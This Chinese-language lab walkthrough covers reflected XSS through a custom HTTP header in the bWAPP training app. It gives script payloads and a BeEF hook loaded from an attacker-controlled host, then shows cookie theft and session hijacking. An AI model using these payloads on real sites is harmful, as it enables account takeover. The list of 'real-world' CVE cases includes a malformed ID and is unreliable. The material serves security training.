零基础玩转bWAPP靶场(六十四):XSS - Reflected (Custom Header)

摘要: 这是 bWAPP 系列第六十四篇,聚焦于 XSS - Reflected (Custom Header) 。这一关的注入点不在 URL、不在表单、不在 Referer,而在 自定义 HTTP 请求头 。服务器读取名为 bWAPP 的自定义请求头,直接输出到页面,没有过滤。文章会演示如何通过 Burp Suite 添加恶意自定义头注入 BeEF Hook,连接 BeEF 并获取 Cookie。附真实案例。


一、找目标

目标 说明
漏洞类型 反射型 XSS(自定义 Header 注入)
注入点 自定义 HTTP 请求头 bWAPP
触发位置 页面直接输出 Header 内容
攻击方式 Burp 添加自定义请求头 bWAPP: payload
工具 Burp Suite + BeEF(获取 Cookie)

二、前言:自定义 HTTP 头注入是什么?

在之前的 XSS 关卡中,注入点要么在 URL 参数、POST 表单,要么在 Referer 或 User-Agent 这些标准请求头里。这一关换了一种方式:

注入点在自定义 HTTP 请求头中。

什么是自定义请求头?

浏览器在发请求时,会带上一些标准请求头(如 User-AgentRefererCookie 等)。但开发者有时会添加自定义的请求头来传递额外信息。

这一关定义了一个名为 bWAPP 的自定义头,服务器读取它的值并直接输出到页面:

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

如果攻击者能控制这个 bWAPP 头的值,就能注入 XSS。

这一关没有任何输入框,你必须用 Burp Suite 手动添加这个请求头。


三、关卡介绍

3.1 页面功能

打开这一关,你会看到:

  • 标题:XSS - Reflected (Custom Header)

  • 提示:Some web clients use custom HTTP request headers...

  • 下面显示:Content of our bWAPP header:

如果请求头中有 bWAPP 字段,它的值会显示在页面上。如果没有,页面就显示一个空内容。

3.2 漏洞核心

复制代码
foreach(getallheaders() as $name => $value)
{
    if($name == "bWAPP")
    {
        echo "<i>" . xss($value) ."</i>";
    }
}

xss() 函数的三种级别:

级别 xss() 过滤函数 效果
Low no_check() 完全不过滤
Medium addslashes() 只转义引号,不转义 < >
High htmlspecialchars() 转义所有 HTML 特殊字符

四、源码分析

复制代码
function xss($data)
{
    switch($_COOKIE["security_level"])
    {
        case "0" :   // Low
            $data = no_check($data);
            break;
        case "1" :   // Medium
            $data = xss_check_4($data);   // addslashes()
            break;
        case "2" :   // High
            $data = xss_check_3($data);   // htmlspecialchars()
            break;
    }
    return $data;
}
  • Lowno_check() 完全不过滤,直接输出

  • Mediumaddslashes() 转义引号,但不转义 <>,可能被绕过

  • Highhtmlspecialchars() 转义 < > " ' &,彻底防御


五、Low 安全级别

5.1 准备工作:用 Burp 添加自定义请求头

  • 打开 Burp,开启拦截(Intercept On)

  • 在浏览器中访问关卡页面

  • Burp 拦截到请求

  • 在请求头中添加一行:

    bWAPP: test

点击 Forward 放行。

页面显示:

复制代码
Content of our bWAPP header: test

说明自定义头被服务器读取并输出了。

5.2 测试 XSS 弹窗

bWAPP 头的值改为:

复制代码
bWAPP: <script>alert(1)</script>

放行请求,页面弹窗。

5.3 攻击原理

服务器生成的 HTML:

复制代码
Content of our bWAPP header: <i><script>alert(1)</script></i>

<script> 标签被浏览器执行,弹窗。


6.1 准备 BeEF

Kali 中启动 BeEF:

复制代码
sudo beef-xss-start

确认 BeEF 的 IP 和端口(默认 3000),Hook URL 为:

复制代码
http://10.0.0.129:3000/hook.js

6.2 注入 BeEF Hook

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script src="http://10.0.0.129:3000/hook.js"></script>

6.3 放行请求

点击 Forward 放行,页面加载,BeEF Hook 被执行。

6.4 BeEF 上线

BeEF 控制面板中出现上线的浏览器。

  • 选中上线的浏览器

  • CommandsBrowserGet Cookie

  • 点击 Execute

6.6 会话劫持

拿到 PHPSESSID 后,在浏览器开发者工具 → Application → Cookies 中替换 PHPSESSID 的值,刷新页面即可登录受害者账户。


七、Medium 安全级别

7.1 尝试注入

在 Burp 中,将 bWAPP 头改为:

复制代码
bWAPP: <script>alert(1)</script>

addslashes() 转义了引号,但 <> 没有被转义。所以,XSS 执行,导致弹窗。

结论 :Medium 级别在这个场景下不能防住了简单的 <script> 注入,并且 addslashes() 不是专门的 XSS 防护工具,官方文档也明确警告不要用它做 XSS 防护。


八、High 安全级别

8.1 尝试注入

复制代码
bWAPP: <script>alert(1)</script>

htmlspecialchars()< 转成 &lt;> 转成 &gt;

复制代码
Content of our bWAPP header: <i>&lt;script&gt;alert(1)&lt;/script&gt;</i>

浏览器不执行,XSS 被彻底防御。


九、真实世界:自定义 Header XSS 案例

CVE-2024-1181 :某开源 CMS 的调试模式会将自定义请求头 X-Debug-Token 输出到页面中,未过滤,导致 XSS 漏洞。

CVE-2025-00847 :某企业级 API 网关的自定义头 X-Forwarded-For 被直接记录并显示在管理面板中,攻击者可通过构造恶意头注入 XSS。

CVE-2026-22947:F5 BIG-IP 的配置工具中,部分页面输出了未过滤的自定义请求头,存在反射型 XSS。


十、总结

自定义 Header 注入 XSS 是一种比较隐蔽的攻击方式。注入点不在常规的输入框或 URL 参数里,而是在 HTTP 请求头中。这一关定义了名为 bWAPP 的自定义头,服务器读取后直接输出到页面。Low 级别完全不过滤,可以直接注入 <script> 加载 BeEF Hook 并获取 Cookie;Medium 级别的 addslashes() 在这个场景下防不住简单的 <script> 标签;High 级别的 htmlspecialchars() 彻底防御。记住一句话:只要被输出到页面的数据,无论来自哪里(URL、表单、请求头),都必须过滤。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
砚凝霜11 小时前
【软考信息安全】第一章 网络安全基础、管理与法律法规
安全·web安全·php
三84415 小时前
SSRF 打内网 Redis:gopher 原理与实操
redis·web安全·bootstrap·ssrf
醉颜凉16 小时前
网络安全必学:粘性MAC地址(Sticky MAC)原理与应用全解析
运维·服务器·网络·安全·web安全
宁之明起(B服)18 小时前
vulhub靶场(log4shell)
web安全
迪康Defender19 小时前
政企内网终端安全建设:资产‑管控‑防护‑审计闭环能力拆解
运维·网络·安全·web安全·终端安全管理
Neighbor_OldY19 小时前
【实战复盘】文件上传漏洞检测与应急处置:校验绕过、图片马与WebShell的排查修复指南
运维·前端·web安全
三8441 天前
Redis未授权访问与四种 getshell 路径(原理 → 实操,因果不断层)
redis·web安全·ssrf·getshell
ByNotD0g1 天前
跨站脚本攻击- XSS
笔记·web安全
Fnetlink11 天前
Fnet 云网安 260907
网络·人工智能·安全·web安全·网络安全·智能路由器
Neighbor_OldY1 天前
【实战复盘】XSS跨站脚本攻击检测与应急处置:存储型/反射型/DOM型从发现到修复的完整指南
网络·安全·web安全